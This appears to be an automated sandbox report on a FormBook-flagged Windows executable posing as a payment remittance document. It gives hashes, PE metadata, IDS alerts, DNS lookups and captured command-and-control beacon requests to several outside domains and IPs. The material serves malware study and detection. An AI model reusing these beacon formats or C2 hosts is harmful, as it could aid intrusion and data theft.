Process:	C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	5.3499841584777394
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4bE4K5AE4Kzr7RKDE4KhK3VZ9pKhPKIE4oKFKHKorE4x84j:MIHK5HKXE1qHbHK5AHKzvRYHKhQnoPtW
MD5:	E2C3A19FF3EBB1649BF9F41DFE3B7E8F
SHA1:	5DA8AB9561D3C096BB9103413F64EE6E50D5AD88
SHA-256:	18E921771341555EF6167DEBBD7C83727518897E9B4B3545B7CCDB48E2043B74
SHA-512:	6B62A68EC358699D55E4CCD0BBDD4ADDC0F38641D82A019697893CEB503E853A5F087FAF9F4408425AD6631C9CBA31C3354FD98B45F051F2F59A0ECC3CA2FA06
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assem

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.463479204604476
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
File size:	509952
MD5:	e29285288905ebb27d9e4443bcaa6638
SHA1:	3c656f9257b7630e47f57d1326bceafb7481ab29
SHA256:	7027a232f8327a532a1b37586cd42ea73ea0b9c37b1b22334484888f0b13b6b6
SHA512:	16fc6b4d5f0f258ac3887295843553e524276ce4fa127ce01cd49118b8765823885065daf3c2cab716529c6fbe97e2ea47233e88215852b528be6e68e801da1f
SSDEEP:	12288:tqk4DbF53e0IUFLe8OsbVPIBNpvv5Cq9HS2W3wI7GJFY:Gy8dPOX5CSy2WW8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....#@a..............0.................. ........@.. ....................... ............@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x47daca
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61402397 [Tue Sep 14 04:22:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
sub byte ptr [eax], al
sub al, 00h
sub dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7da78	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7e000	0x62c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x80000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x7d940	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7bad8	0x7bc00	False	0.845947758838	data	7.48050578829	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x7e000	0x62c	0x800	False	0.34912109375	data	3.50217220911	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x80000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x7e090	0x39c	data
RT_MANIFEST	0x7e43c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	1992 Donkervoort S8
Assembly Version	8.0.2.0
InternalName	SerializationHeaderReco.exe
FileVersion	8.0.0.0
CompanyName	Cuppy's Coffee
LegalTrademarks
Comments	2005 Kia Spectra
ProductName	Console Kia
ProductVersion	8.0.0.0
FileDescription	Console Kia
OriginalFilename	SerializationHeaderReco.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/15/21-08:17:15.112241	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49784	80	192.168.2.3	198.54.117.211
09/15/21-08:17:15.112241	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49784	80	192.168.2.3	198.54.117.211
09/15/21-08:17:15.112241	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49784	80	192.168.2.3	198.54.117.211
09/15/21-08:17:27.003769	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.3	8.8.8.8
09/15/21-08:17:36.721776	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.3	8.8.8.8
09/15/21-08:17:37.722537	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.3	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2021 08:16:58.582576036 CEST	49778	80	192.168.2.3	198.54.117.215
Sep 15, 2021 08:16:58.763209105 CEST	80	49778	198.54.117.215	192.168.2.3
Sep 15, 2021 08:16:58.763370991 CEST	49778	80	192.168.2.3	198.54.117.215
Sep 15, 2021 08:16:58.763638973 CEST	49778	80	192.168.2.3	198.54.117.215
Sep 15, 2021 08:16:58.946127892 CEST	80	49778	198.54.117.215	192.168.2.3
Sep 15, 2021 08:16:58.946165085 CEST	80	49778	198.54.117.215	192.168.2.3
Sep 15, 2021 08:17:04.010411978 CEST	49779	80	192.168.2.3	52.71.133.130
Sep 15, 2021 08:17:04.150010109 CEST	80	49779	52.71.133.130	192.168.2.3
Sep 15, 2021 08:17:04.150124073 CEST	49779	80	192.168.2.3	52.71.133.130
Sep 15, 2021 08:17:04.150310040 CEST	49779	80	192.168.2.3	52.71.133.130
Sep 15, 2021 08:17:04.289341927 CEST	80	49779	52.71.133.130	192.168.2.3
Sep 15, 2021 08:17:04.289372921 CEST	80	49779	52.71.133.130	192.168.2.3
Sep 15, 2021 08:17:04.289396048 CEST	80	49779	52.71.133.130	192.168.2.3
Sep 15, 2021 08:17:04.289764881 CEST	49779	80	192.168.2.3	52.71.133.130
Sep 15, 2021 08:17:04.289892912 CEST	49779	80	192.168.2.3	52.71.133.130
Sep 15, 2021 08:17:04.429339886 CEST	80	49779	52.71.133.130	192.168.2.3
Sep 15, 2021 08:17:14.939905882 CEST	49784	80	192.168.2.3	198.54.117.211
Sep 15, 2021 08:17:15.111032963 CEST	80	49784	198.54.117.211	192.168.2.3
Sep 15, 2021 08:17:15.111490011 CEST	49784	80	192.168.2.3	198.54.117.211
Sep 15, 2021 08:17:15.112241030 CEST	49784	80	192.168.2.3	198.54.117.211
Sep 15, 2021 08:17:15.283358097 CEST	80	49784	198.54.117.211	192.168.2.3
Sep 15, 2021 08:17:15.283459902 CEST	80	49784	198.54.117.211	192.168.2.3
Sep 15, 2021 08:17:26.724200010 CEST	49785	80	192.168.2.3	103.15.104.66
Sep 15, 2021 08:17:27.001388073 CEST	80	49785	103.15.104.66	192.168.2.3
Sep 15, 2021 08:17:27.001625061 CEST	49785	80	192.168.2.3	103.15.104.66
Sep 15, 2021 08:17:27.278853893 CEST	80	49785	103.15.104.66	192.168.2.3
Sep 15, 2021 08:17:27.279082060 CEST	49785	80	192.168.2.3	103.15.104.66
Sep 15, 2021 08:17:27.517899036 CEST	49785	80	192.168.2.3	103.15.104.66
Sep 15, 2021 08:17:27.554934978 CEST	80	49785	103.15.104.66	192.168.2.3
Sep 15, 2021 08:17:27.555051088 CEST	80	49785	103.15.104.66	192.168.2.3
Sep 15, 2021 08:17:27.555083036 CEST	80	49785	103.15.104.66	192.168.2.3
Sep 15, 2021 08:17:27.555226088 CEST	49785	80	192.168.2.3	103.15.104.66
Sep 15, 2021 08:17:27.555257082 CEST	49785	80	192.168.2.3	103.15.104.66
Sep 15, 2021 08:17:27.793827057 CEST	80	49785	103.15.104.66	192.168.2.3
Sep 15, 2021 08:17:27.793940067 CEST	49785	80	192.168.2.3	103.15.104.66

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2021 08:15:30.576337099 CEST	51281	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:15:30.614059925 CEST	53	51281	8.8.8.8	192.168.2.3
Sep 15, 2021 08:15:54.767194033 CEST	49199	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:15:54.802340984 CEST	53	49199	8.8.8.8	192.168.2.3
Sep 15, 2021 08:16:02.618539095 CEST	50620	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:16:02.661425114 CEST	53	50620	8.8.8.8	192.168.2.3
Sep 15, 2021 08:16:02.959789038 CEST	64938	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:16:02.991704941 CEST	53	64938	8.8.8.8	192.168.2.3
Sep 15, 2021 08:16:26.359940052 CEST	60152	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:16:26.405379057 CEST	53	60152	8.8.8.8	192.168.2.3
Sep 15, 2021 08:16:39.199558973 CEST	57544	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:16:39.234639883 CEST	53	57544	8.8.8.8	192.168.2.3
Sep 15, 2021 08:16:58.536778927 CEST	55984	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:16:58.576446056 CEST	53	55984	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:03.958511114 CEST	64185	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:04.009198904 CEST	53	64185	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:09.819931030 CEST	65110	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:09.867863894 CEST	53	65110	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:12.239017010 CEST	58361	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:12.285737991 CEST	53	58361	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:13.669127941 CEST	63492	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:13.696032047 CEST	53	63492	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:14.904324055 CEST	60831	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:14.937865019 CEST	53	60831	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:25.341937065 CEST	60100	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:26.330404043 CEST	60100	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:26.722035885 CEST	53	60100	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:27.003680944 CEST	53	60100	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:32.567346096 CEST	53195	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:33.596535921 CEST	53195	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:34.596653938 CEST	53195	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:35.691082954 CEST	53	53195	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:36.721256018 CEST	53	53195	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:37.722446918 CEST	53	53195	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:40.708005905 CEST	50141	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:40.861347914 CEST	53	50141	8.8.8.8	192.168.2.3
Sep 15, 2021 08:17:46.537237883 CEST	53023	53	192.168.2.3	8.8.8.8
Sep 15, 2021 08:17:46.814873934 CEST	53	53023	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 15, 2021 08:17:27.003768921 CEST	192.168.2.3	8.8.8.8	d056	(Port unreachable)	Destination Unreachable
Sep 15, 2021 08:17:36.721776009 CEST	192.168.2.3	8.8.8.8	cff1	(Port unreachable)	Destination Unreachable
Sep 15, 2021 08:17:37.722537041 CEST	192.168.2.3	8.8.8.8	cff1	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 15, 2021 08:16:58.536778927 CEST	192.168.2.3	8.8.8.8	0x4b46	Standard query (0)	www.yummyblockparty.com	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:03.958511114 CEST	192.168.2.3	8.8.8.8	0xb05b	Standard query (0)	www.johnharrisagent.com	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:09.819931030 CEST	192.168.2.3	8.8.8.8	0x6145	Standard query (0)	www.fitotec.net	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:14.904324055 CEST	192.168.2.3	8.8.8.8	0xdd0e	Standard query (0)	www.itsready.support	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:25.341937065 CEST	192.168.2.3	8.8.8.8	0x3b69	Standard query (0)	www.btt5204.com	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:26.330404043 CEST	192.168.2.3	8.8.8.8	0x3b69	Standard query (0)	www.btt5204.com	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:32.567346096 CEST	192.168.2.3	8.8.8.8	0x2a90	Standard query (0)	www.hide.osaka	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:33.596535921 CEST	192.168.2.3	8.8.8.8	0x2a90	Standard query (0)	www.hide.osaka	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:34.596653938 CEST	192.168.2.3	8.8.8.8	0x2a90	Standard query (0)	www.hide.osaka	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:40.708005905 CEST	192.168.2.3	8.8.8.8	0x4a8f	Standard query (0)	www.pasalsacongress.com	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:46.537237883 CEST	192.168.2.3	8.8.8.8	0x6f7d	Standard query (0)	www.moominmamalog.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 15, 2021 08:16:58.576446056 CEST	8.8.8.8	192.168.2.3	0x4b46	No error (0)	www.yummyblockparty.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 08:16:58.576446056 CEST	8.8.8.8	192.168.2.3	0x4b46	No error (0)	parkingpage.namecheap.com		198.54.117.215	A (IP address)	IN (0x0001)
Sep 15, 2021 08:16:58.576446056 CEST	8.8.8.8	192.168.2.3	0x4b46	No error (0)	parkingpage.namecheap.com		198.54.117.212	A (IP address)	IN (0x0001)
Sep 15, 2021 08:16:58.576446056 CEST	8.8.8.8	192.168.2.3	0x4b46	No error (0)	parkingpage.namecheap.com		198.54.117.216	A (IP address)	IN (0x0001)
Sep 15, 2021 08:16:58.576446056 CEST	8.8.8.8	192.168.2.3	0x4b46	No error (0)	parkingpage.namecheap.com		198.54.117.217	A (IP address)	IN (0x0001)
Sep 15, 2021 08:16:58.576446056 CEST	8.8.8.8	192.168.2.3	0x4b46	No error (0)	parkingpage.namecheap.com		198.54.117.211	A (IP address)	IN (0x0001)
Sep 15, 2021 08:16:58.576446056 CEST	8.8.8.8	192.168.2.3	0x4b46	No error (0)	parkingpage.namecheap.com		198.54.117.218	A (IP address)	IN (0x0001)
Sep 15, 2021 08:16:58.576446056 CEST	8.8.8.8	192.168.2.3	0x4b46	No error (0)	parkingpage.namecheap.com		198.54.117.210	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:04.009198904 CEST	8.8.8.8	192.168.2.3	0xb05b	No error (0)	www.johnharrisagent.com		52.71.133.130	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:09.867863894 CEST	8.8.8.8	192.168.2.3	0x6145	Name error (3)	www.fitotec.net	none	none	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:14.937865019 CEST	8.8.8.8	192.168.2.3	0xdd0e	No error (0)	www.itsready.support	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 08:17:14.937865019 CEST	8.8.8.8	192.168.2.3	0xdd0e	No error (0)	parkingpage.namecheap.com		198.54.117.211	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:14.937865019 CEST	8.8.8.8	192.168.2.3	0xdd0e	No error (0)	parkingpage.namecheap.com		198.54.117.210	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:14.937865019 CEST	8.8.8.8	192.168.2.3	0xdd0e	No error (0)	parkingpage.namecheap.com		198.54.117.212	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:14.937865019 CEST	8.8.8.8	192.168.2.3	0xdd0e	No error (0)	parkingpage.namecheap.com		198.54.117.216	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:14.937865019 CEST	8.8.8.8	192.168.2.3	0xdd0e	No error (0)	parkingpage.namecheap.com		198.54.117.215	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:14.937865019 CEST	8.8.8.8	192.168.2.3	0xdd0e	No error (0)	parkingpage.namecheap.com		198.54.117.217	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:14.937865019 CEST	8.8.8.8	192.168.2.3	0xdd0e	No error (0)	parkingpage.namecheap.com		198.54.117.218	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:26.722035885 CEST	8.8.8.8	192.168.2.3	0x3b69	No error (0)	www.btt5204.com	a3m1.cnamek.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 08:17:26.722035885 CEST	8.8.8.8	192.168.2.3	0x3b69	No error (0)	a3m1.cnamek.com	izgr3bagus.cdnddd.net		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 08:17:26.722035885 CEST	8.8.8.8	192.168.2.3	0x3b69	No error (0)	izgr3bagus.cdnddd.net	v3lala99.cdnddd.net		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 08:17:26.722035885 CEST	8.8.8.8	192.168.2.3	0x3b69	No error (0)	v3lala99.cdnddd.net		103.15.104.66	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:27.003680944 CEST	8.8.8.8	192.168.2.3	0x3b69	No error (0)	www.btt5204.com	a3m1.cnamek.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 08:17:27.003680944 CEST	8.8.8.8	192.168.2.3	0x3b69	No error (0)	a3m1.cnamek.com	izgr3bagus.cdnddd.net		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 08:17:27.003680944 CEST	8.8.8.8	192.168.2.3	0x3b69	No error (0)	izgr3bagus.cdnddd.net	v3lala99.cdnddd.net		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 08:17:27.003680944 CEST	8.8.8.8	192.168.2.3	0x3b69	No error (0)	v3lala99.cdnddd.net		103.15.104.66	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:35.691082954 CEST	8.8.8.8	192.168.2.3	0x2a90	Server failure (2)	www.hide.osaka	none	none	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:36.721256018 CEST	8.8.8.8	192.168.2.3	0x2a90	Server failure (2)	www.hide.osaka	none	none	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:37.722446918 CEST	8.8.8.8	192.168.2.3	0x2a90	Server failure (2)	www.hide.osaka	none	none	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:40.861347914 CEST	8.8.8.8	192.168.2.3	0x4a8f	No error (0)	www.pasalsacongress.com	pasalsacongress.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 08:17:40.861347914 CEST	8.8.8.8	192.168.2.3	0x4a8f	No error (0)	pasalsacongress.com		192.185.52.175	A (IP address)	IN (0x0001)
Sep 15, 2021 08:17:46.814873934 CEST	8.8.8.8	192.168.2.3	0x6f7d	No error (0)	www.moominmamalog.com		183.181.96.104	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.yummyblockparty.com

www.johnharrisagent.com

www.itsready.support

www.btt5204.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49778	198.54.117.215	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 08:16:58.763638973 CEST	5871	OUT	GET /uytf/?4hax=Z6tv0ZGri8uWurB8AUDeWgq8Hn78EURDlDEEMIHUNMQGUG9NVGnXX5+ZYyjQXpOA0JMU&6lE=xT6Pc HTTP/1.1 Host: www.yummyblockparty.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49779	52.71.133.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 08:17:04.150310040 CEST	5872	OUT	GET /uytf/?4hax=1GgOydTR9rFB1tFiaPZsKtEWQf/ik/nrf61jzTsng/4mIf33LxMFmIGp7DtpN0+eCTBT&6lE=xT6Pc HTTP/1.1 Host: www.johnharrisagent.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 15, 2021 08:17:04.289372921 CEST	5873	IN	HTTP/1.1 301 Moved Permanently Server: openresty/1.17.8.2 Date: Wed, 15 Sep 2021 06:17:04 GMT Content-Type: text/html Content-Length: 175 Connection: close Location: https://www.johnharrisagent.com/uytf/?4hax=1GgOydTR9rFB1tFiaPZsKtEWQf/ik/nrf61jzTsng/4mIf33LxMFmIGp7DtpN0+eCTBT&6lE=xT6Pc Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 37 2e 38 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty/1.17.8.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49784	198.54.117.211	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 08:17:15.112241030 CEST	5895	OUT	GET /uytf/?4hax=Lw8pQUl/qe2gQHW8JEklnfX9vlL4ErZAhlphDfsrttl8uYXfrtRE5waSCzthMEOsFHNR&6lE=xT6Pc HTTP/1.1 Host: www.itsready.support Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49785	103.15.104.66	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 08:17:27.279082060 CEST	5896	OUT	GET /uytf/?4hax=0R01lDMz+xXIWoinSyO5qQyNMJHeVacFioz47MHPNe7DMd9wx+TtySfTu0uIVXra7tyR&6lE=xT6Pc HTTP/1.1 Host: www.btt5204.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 15, 2021 08:17:27.555051088 CEST	5897	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 15 Sep 2021 06:17:27 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.btt5204.com/uytf/?4hax=0R01lDMz+xXIWoinSyO5qQyNMJHeVacFioz47MHPNe7DMd9wx+TtySfTu0uIVXra7tyR&6lE=xT6Pc Strict-Transport-Security: max-age=31536000; includeSubDomains Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

